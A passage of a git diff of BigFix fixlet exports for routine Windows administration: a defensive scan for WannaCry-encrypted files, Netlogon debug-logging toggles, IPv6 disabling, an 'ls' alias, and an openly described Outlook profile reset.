-<P>This will create a file (<FONT color=#008080><FONT color=#008080><FONT size=2>c:\wannacry_files.txt<FONT color=#000000>) for the search results.&nbsp; There is a corresponding property (Wanna Cry Files - C: Drive) that will parse this file for any files that are found and report the results back up.</FONT></FONT></FONT></FONT></P>
-<P><FONT color=#008080><FONT color=#008080><FONT color=#000000 size=2>This file is expected to have the following two lines.&nbsp; Anymore than that is bad.</FONT></FONT></FONT></P>
-<P>&nbsp;Volume in drive C has no label.<BR>&nbsp;Volume Serial Number is 7A01-AEAF</P>
-<P><BR>&nbsp;</P>
-<P><FONT color=#008080><FONT color=#008080><FONT color=#000000 size=2>There are&nbsp;three expected&nbsp;results returned by the property:</FONT></FONT></FONT></P>
-<P><FONT color=#008080><FONT color=#008080><FONT color=#000000 size=2><FONT color=#008080 size=2><FONT color=#008080 size=2>Wanna Cry Encrypted files found <FONT color=#400040>(this is bad)</FONT></FONT></FONT></FONT></FONT></FONT></P><FONT color=#008080><FONT color=#008080><FONT color=#000000 size=2><FONT color=#008080 size=2><FONT color=#008080 size=2><FONT color=#008080 size=2><FONT color=#008080 size=2>
-<P><FONT color=#008080><FONT color=#008080><FONT color=#000000 size=2><FONT color=#008080 size=2><FONT color=#008080 size=2>No&nbsp;Encrypted Files Found&nbsp;<FONT color=#400040>(results file exists, nothing bad found, scan could still be running though)</FONT></FONT></FONT></FONT></FONT></FONT></P>
-<P>Scan Results File Not Found <FONT color=#400040>(this means you have not executed this task yet)</FONT></P>
-<P>&nbsp;</P></FONT></FONT></FONT></FONT></FONT></FONT></FONT>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists folder &quot;c:\&quot;</Relevance>
-    <Source>Jason Cordell (jcordell@cbihome.com)</Source>
-    <SourceReleaseDate>2017-05-15</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Mon, 15 May 2017 13:17:41 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[waithidden cmd /c if exist c:\wannacry_files.txt del c:\wannacry_files.txt /q /f
-waithidden cmd /c dir c:\*.wncry /a /s >c:\wannacry_files.txt]]></ActionScript>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Look for Wanna Cry encrypted files on the C: drive - v1.1
+  ID       : 24312
+  Author   : jasoncordell
+  Domain   : BESC
+  Imported : 2017-05-15T06:19:33
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Look for Wanna Cry encrypted files on the C: drive - v1.1</Title>
+    <Description><![CDATA[<P>Seach for any files with .wncry extenstions that exist on the C: drive.&nbsp; Old school batch file, so if there are a ton of files, this will take a while and can possibly have a noticable performance impact when it runs.</P>
+<P>This will create a file (<FONT color=#008080><FONT color=#008080><FONT size=2>c:\wannacry_files.txt<FONT color=#000000>) for the search results.&nbsp; There is a corresponding property (Wanna Cry Files - C: Drive) that will parse this file for any files that are found and report the results back up.</FONT></FONT></FONT></FONT></P>
+<P><FONT color=#008080><FONT color=#008080><FONT color=#000000 size=2>This file is expected to have the following two lines.&nbsp; Anymore than that is bad.</FONT></FONT></FONT></P>
+<P>&nbsp;Volume in drive C has no label.<BR>&nbsp;Volume Serial Number is 7A01-AEAF</P>
+<P><BR>&nbsp;</P>
+<P><FONT color=#008080><FONT color=#008080><FONT color=#000000 size=2>There are&nbsp;three expected&nbsp;results returned by the property:</FONT></FONT></FONT></P>
+<P><FONT color=#008080><FONT color=#008080><FONT color=#000000 size=2><FONT color=#008080 size=2><FONT color=#008080 size=2>Wanna Cry Encrypted files found <FONT color=#400040>(this is bad)</FONT></FONT></FONT></FONT></FONT></FONT></P><FONT color=#008080><FONT color=#008080><FONT color=#000000 size=2><FONT color=#008080 size=2><FONT color=#008080 size=2><FONT color=#008080 size=2><FONT color=#008080 size=2>
+<P><FONT color=#008080><FONT color=#008080><FONT color=#000000 size=2><FONT color=#008080 size=2><FONT color=#008080 size=2>No&nbsp;Encrypted Files Found&nbsp;<FONT color=#400040>(results file exists, nothing bad found, scan could still be running though)</FONT></FONT></FONT></FONT></FONT></FONT></P>
+<P>Scan Results File Not Found <FONT color=#400040>(this means you have not executed this task yet)</FONT></P>
+<P>&nbsp;</P></FONT></FONT></FONT></FONT></FONT></FONT></FONT>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists folder &quot;c:\&quot;</Relevance>
+    <Source>Jason Cordell (jcordell@cbihome.com)</Source>
+    <SourceReleaseDate>2017-05-15</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 15 May 2017 13:17:41 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[waithidden cmd /c if exist c:\wannacry_files.txt del c:\wannacry_files.txt /q /f
+waithidden cmd /c dir c:\*.wncry /a /s >c:\wannacry_files.txt]]></ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Net Logon - Disable Debug Logging (1410).bes b/Sites/Windows Management/Fixlets/Fixlets/Net Logon - Disable Debug Logging (1410).bes
index a67d04a20..653df8b91 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Net Logon - Disable Debug Logging (1410).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Net Logon - Disable Debug Logging (1410).bes	
@@ -1,50 +1,50 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Net Logon - Disable Debug Logging
-  ID       : 1410
-  Author   : DavidSmith
-  Domain   : BESC
-  Imported : 2013-02-19T12:25:02
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Net Logon - Disable Debug Logging</Title>
-    <Description><![CDATA[<P>If you are having accounts getting locked out... it is helpful to enable netlogon debug logging to track down where the problem is coming from.&nbsp; This task will enable debug logging on Windows Servers.</P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters&quot; of native registry</Relevance>
-    <Relevance>exists value &quot;DBFlag&quot; whose (it as integer != 0) of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters&quot; of native registry</Relevance>
-    <Category>Troubleshooting</Category>
-    <Source>dsmith</Source>
-    <SourceID>&lt;Unspecified&gt;</SourceID>
-    <SourceReleaseDate>2013-02-19</SourceReleaseDate>
-    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 19 Feb 2013 18:21:38 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to Disable Debug Logging.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">//now configure debug setting
-regset &quot;[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters]&quot; &quot;DBFlag&quot;=dword:0
-//restart netlogon service
-waithidden net stop &quot;netlogon&quot;
-waithidden net start &quot;netlogon&quot;</ActionScript>
-    </DefaultAction>
-    <Action ID="Action1657">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to read the Microsoft KB 109626.</PostLink>
-      </Description>
-      <ActionScript MIMEType="text/x-uri">http://support.microsoft.com/kb/109626</ActionScript>
-    </Action>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Net Logon - Disable Debug Logging
+  ID       : 1410
+  Author   : DavidSmith
+  Domain   : BESC
+  Imported : 2013-02-19T12:25:02
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Net Logon - Disable Debug Logging</Title>
+    <Description><![CDATA[<P>If you are having accounts getting locked out... it is helpful to enable netlogon debug logging to track down where the problem is coming from.&nbsp; This task will enable debug logging on Windows Servers.</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters&quot; of native registry</Relevance>
+    <Relevance>exists value &quot;DBFlag&quot; whose (it as integer != 0) of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters&quot; of native registry</Relevance>
+    <Category>Troubleshooting</Category>
+    <Source>dsmith</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2013-02-19</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 19 Feb 2013 18:21:38 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to Disable Debug Logging.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">//now configure debug setting
+regset &quot;[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters]&quot; &quot;DBFlag&quot;=dword:0
+//restart netlogon service
+waithidden net stop &quot;netlogon&quot;
+waithidden net start &quot;netlogon&quot;</ActionScript>
+    </DefaultAction>
+    <Action ID="Action1657">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to read the Microsoft KB 109626.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://support.microsoft.com/kb/109626</ActionScript>
+    </Action>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Net Logon - Enable Debug Logging (1409).bes b/Sites/Windows Management/Fixlets/Fixlets/Net Logon - Enable Debug Logging (1409).bes
index 47ba34f42..837014e79 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Net Logon - Enable Debug Logging (1409).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Net Logon - Enable Debug Logging (1409).bes	
@@ -1,52 +1,52 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Net Logon - Enable Debug Logging
-  ID       : 1409
-  Author   : DavidSmith
-  Domain   : BESC
-  Imported : 2013-02-19T12:25:01
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Net Logon - Enable Debug Logging</Title>
-    <Description><![CDATA[<P>If you are having accounts getting locked out... it is helpful to enable netlogon debug logging to track down where the problem is coming from.&nbsp; This task will enable debug logging on Windows Servers.</P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters&quot; of native registry</Relevance>
-    <Relevance>if exists value &quot;DBFlag&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters&quot; of native registry then exists value &quot;DBFlag&quot; whose (it as integer != 545325055) of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters&quot; of native registry else true</Relevance>
-    <Category>Troubleshooting</Category>
-    <Source>dsmith</Source>
-    <SourceID>&lt;Unspecified&gt;</SourceID>
-    <SourceReleaseDate>2013-02-19</SourceReleaseDate>
-    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 19 Feb 2013 18:22:22 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to Enable Debug Logging.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">//delete registry setting
-regdelete &quot;[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters]&quot; &quot;DBFlag&quot;
-//now configure debug setting
-regset &quot;[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters]&quot; &quot;DBFlag&quot;=dword:2080FFFF
-//restart netlogon service
-waithidden net stop &quot;netlogon&quot;
-waithidden net start &quot;netlogon&quot;</ActionScript>
-    </DefaultAction>
-    <Action ID="Action1657">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to read the Microsoft KB 109626.</PostLink>
-      </Description>
-      <ActionScript MIMEType="text/x-uri">http://support.microsoft.com/kb/109626</ActionScript>
-    </Action>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Net Logon - Enable Debug Logging
+  ID       : 1409
+  Author   : DavidSmith
+  Domain   : BESC
+  Imported : 2013-02-19T12:25:01
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Net Logon - Enable Debug Logging</Title>
+    <Description><![CDATA[<P>If you are having accounts getting locked out... it is helpful to enable netlogon debug logging to track down where the problem is coming from.&nbsp; This task will enable debug logging on Windows Servers.</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters&quot; of native registry</Relevance>
+    <Relevance>if exists value &quot;DBFlag&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters&quot; of native registry then exists value &quot;DBFlag&quot; whose (it as integer != 545325055) of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters&quot; of native registry else true</Relevance>
+    <Category>Troubleshooting</Category>
+    <Source>dsmith</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2013-02-19</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 19 Feb 2013 18:22:22 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to Enable Debug Logging.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">//delete registry setting
+regdelete &quot;[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters]&quot; &quot;DBFlag&quot;
+//now configure debug setting
+regset &quot;[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters]&quot; &quot;DBFlag&quot;=dword:2080FFFF
+//restart netlogon service
+waithidden net stop &quot;netlogon&quot;
+waithidden net start &quot;netlogon&quot;</ActionScript>
+    </DefaultAction>
+    <Action ID="Action1657">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to read the Microsoft KB 109626.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://support.microsoft.com/kb/109626</ActionScript>
+    </Action>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Nuke IPv6 - Windows (27385).bes b/Sites/Windows Management/Fixlets/Fixlets/Nuke IPv6 - Windows (27385).bes
index 5e8df9aeb..42811b9a6 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Nuke IPv6 - Windows (27385).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Nuke IPv6 - Windows (27385).bes	
@@ -1,40 +1,40 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Nuke IPv6 - Windows
-  ID       : 27385
-  Author   : Jack
-  Domain   : BESC
-  Imported : 2025-09-09T16:18:59
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Nuke IPv6 - Windows</Title>
-    <Description>Does what it says on the box</Description>
-    <Relevance>true</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2025-09-09</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 09 Sep 2025 23:05:09 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">dos reg add &quot;HKLM\SYSTEM\CurrentControlSet\Services\Tcpip6\Parameters&quot; /v DisabledComponents /t REG_DWORD /d 255 /f
-dos reg add &quot;HKLM\SOFTWARE\Policies\Microsoft\Windows\TCPIP\v6Transition&quot; /f
-dos reg add &quot;HKLM\SOFTWARE\Policies\Microsoft\Windows\TCPIP\v6Transition&quot; /v Teredo_State /t REG_SZ /d Disabled /f
-dos reg add &quot;HKLM\SOFTWARE\Policies\Microsoft\Windows\TCPIP\v6Transition&quot; /v 6to4_State   /t REG_SZ /d Disabled /f
-dos reg add &quot;HKLM\SOFTWARE\Policies\Microsoft\Windows\TCPIP\v6Transition&quot; /v ISATAP_State /t REG_SZ /d Disabled /f
-
-waithidden cmd.exe /C netsh interface ipv6 uninstall</ActionScript>
-      <SuccessCriteria Option="CustomRelevance"></SuccessCriteria>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Nuke IPv6 - Windows
+  ID       : 27385
+  Author   : Jack
+  Domain   : BESC
+  Imported : 2025-09-09T16:18:59
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Nuke IPv6 - Windows</Title>
+    <Description>Does what it says on the box</Description>
+    <Relevance>true</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2025-09-09</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 09 Sep 2025 23:05:09 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">dos reg add &quot;HKLM\SYSTEM\CurrentControlSet\Services\Tcpip6\Parameters&quot; /v DisabledComponents /t REG_DWORD /d 255 /f
+dos reg add &quot;HKLM\SOFTWARE\Policies\Microsoft\Windows\TCPIP\v6Transition&quot; /f
+dos reg add &quot;HKLM\SOFTWARE\Policies\Microsoft\Windows\TCPIP\v6Transition&quot; /v Teredo_State /t REG_SZ /d Disabled /f
+dos reg add &quot;HKLM\SOFTWARE\Policies\Microsoft\Windows\TCPIP\v6Transition&quot; /v 6to4_State   /t REG_SZ /d Disabled /f
+dos reg add &quot;HKLM\SOFTWARE\Policies\Microsoft\Windows\TCPIP\v6Transition&quot; /v ISATAP_State /t REG_SZ /d Disabled /f
+
+waithidden cmd.exe /C netsh interface ipv6 uninstall</ActionScript>
+      <SuccessCriteria Option="CustomRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/OLDER Version_ Create LS alias for DIR command - Windows (20414).bes b/Sites/Windows Management/Fixlets/Fixlets/OLDER Version_ Create LS alias for DIR command - Windows (20414).bes
index 0d8ac11c0..82c06feef 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/OLDER Version_ Create LS alias for DIR command - Windows (20414).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/OLDER Version_ Create LS alias for DIR command - Windows (20414).bes	
@@ -1,49 +1,49 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : OLDER Version: Create LS alias for DIR command - Windows
-  ID       : 20414
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2016-04-29T14:53:27
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>OLDER Version: Create LS alias for DIR command - Windows</Title>
-    <Description>This makes me hate windows less </Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists folders &quot;C:\ProgramData\chocolatey\bin&quot;</Relevance>
-    <Relevance><![CDATA[exists (";" & it & ";") whose(it contains ";C:\ProgramData\chocolatey\bin;") of (it as string as trimmed string) of values of variables "PATH" of environments]]></Relevance>
-    <Relevance>not exists lines whose(it contains &quot;@dir %25*&quot;) of files &quot;C:\ProgramData\chocolatey\bin\ls.bat&quot;</Relevance>
-    <Source>Internal</Source>
-    <SourceID>jgstew</SourceID>
-    <SourceReleaseDate>2016-04-15</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Fri, 15 Apr 2016 21:24:52 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
-// http://stackoverflow.com/questions/9362692/how-to-create-ls-in-windows-command-prompt
-// http://stackoverflow.com/questions/20530996/aliases-in-windows-command-prompt
-
-delete __createfile
-createfile until END_OF_FILE
-@dir %*
-END_OF_FILE
-
-delete C:\ProgramData\chocolatey\bin\ls.bat
-copy __createfile C:\ProgramData\chocolatey\bin\ls.bat
-</ActionScript>
-      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : OLDER Version: Create LS alias for DIR command - Windows
+  ID       : 20414
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2016-04-29T14:53:27
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>OLDER Version: Create LS alias for DIR command - Windows</Title>
+    <Description>This makes me hate windows less </Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists folders &quot;C:\ProgramData\chocolatey\bin&quot;</Relevance>
+    <Relevance><![CDATA[exists (";" & it & ";") whose(it contains ";C:\ProgramData\chocolatey\bin;") of (it as string as trimmed string) of values of variables "PATH" of environments]]></Relevance>
+    <Relevance>not exists lines whose(it contains &quot;@dir %25*&quot;) of files &quot;C:\ProgramData\chocolatey\bin\ls.bat&quot;</Relevance>
+    <Source>Internal</Source>
+    <SourceID>jgstew</SourceID>
+    <SourceReleaseDate>2016-04-15</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 15 Apr 2016 21:24:52 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+// http://stackoverflow.com/questions/9362692/how-to-create-ls-in-windows-command-prompt
+// http://stackoverflow.com/questions/20530996/aliases-in-windows-command-prompt
+
+delete __createfile
+createfile until END_OF_FILE
+@dir %*
+END_OF_FILE
+
+delete C:\ProgramData\chocolatey\bin\ls.bat
+copy __createfile C:\ProgramData\chocolatey\bin\ls.bat
+</ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Outlook Profile Reset (24867).bes b/Sites/Windows Management/Fixlets/Fixlets/Outlook Profile Reset (24867).bes
index 16f30c88d..63c1374b0 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Outlook Profile Reset (24867).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Outlook Profile Reset (24867).bes	
@@ -1,47 +1,47 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Outlook Profile Reset
-  ID       : 24867
-  Author   : ReynardMuldrake
-  Domain   : BESC
-  Imported : 2017-12-14T12:09:21
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Outlook Profile Reset</Title>
-    <Description><![CDATA[<P>This task will close Outlook, Skype, and Teams.&nbsp; It will then&nbsp;delete all mail profiles from the currently logged in user, including OST.&nbsp; The mail profile will need to be set up from scratch.</P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists folder &quot;C:\Program Files (x86)\Microsoft Office&quot;</Relevance>
-    <Category>Scripting</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2017-12-13</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Thu, 14 Dec 2017 20:01:23 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Disable wow64 redirection on x64 OSes
-//action uses wow64 redirection {not x64 of operating system}
-
-waithidden &quot;C:\Program Files (x86)\BigFix Enterprise\BES Client\__BESData\BES Support\taskkill.exe&quot; /F /T /IM OUTLOOK.EXE
-waithidden &quot;C:\Program Files (x86)\BigFix Enterprise\BES Client\__BESData\BES Support\taskkill.exe&quot; /F /T /IM lync.exe
-waithidden &quot;C:\Program Files (x86)\BigFix Enterprise\BES Client\__BESData\BES Support\taskkill.exe&quot; /F /T /IM SkypeHost.exe
-waithidden &quot;C:\Program Files (x86)\BigFix Enterprise\BES Client\__BESData\BES Support\taskkill.exe&quot; /F /T /IM Teams.exe
-waithidden &quot;C:\Program Files (x86)\BigFix Enterprise\BES Client\__BESData\BES Support\taskkill.exe&quot; /F /T /IM OneDrive.exe
-
-dos reg delete &quot;HKEY_USERS\{component string of sid of security account (name of logged on user)}\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles&quot; /f
-dos reg delete &quot;HKEY_USERS\{component string of sid of security account (name of logged on user)}\Software\Microsoft\Office\16.0\Outlook\Profiles&quot; /f
-
-folder delete &quot;C:\Users\{name of logged on user}\AppData\Local\Microsoft\Outlook&quot;</ActionScript>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Outlook Profile Reset
+  ID       : 24867
+  Author   : ReynardMuldrake
+  Domain   : BESC
+  Imported : 2017-12-14T12:09:21
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Outlook Profile Reset</Title>
+    <Description><![CDATA[<P>This task will close Outlook, Skype, and Teams.&nbsp; It will then&nbsp;delete all mail profiles from the currently logged in user, including OST.&nbsp; The mail profile will need to be set up from scratch.</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists folder &quot;C:\Program Files (x86)\Microsoft Office&quot;</Relevance>
+    <Category>Scripting</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2017-12-13</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 14 Dec 2017 20:01:23 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Disable wow64 redirection on x64 OSes
+//action uses wow64 redirection {not x64 of operating system}
+
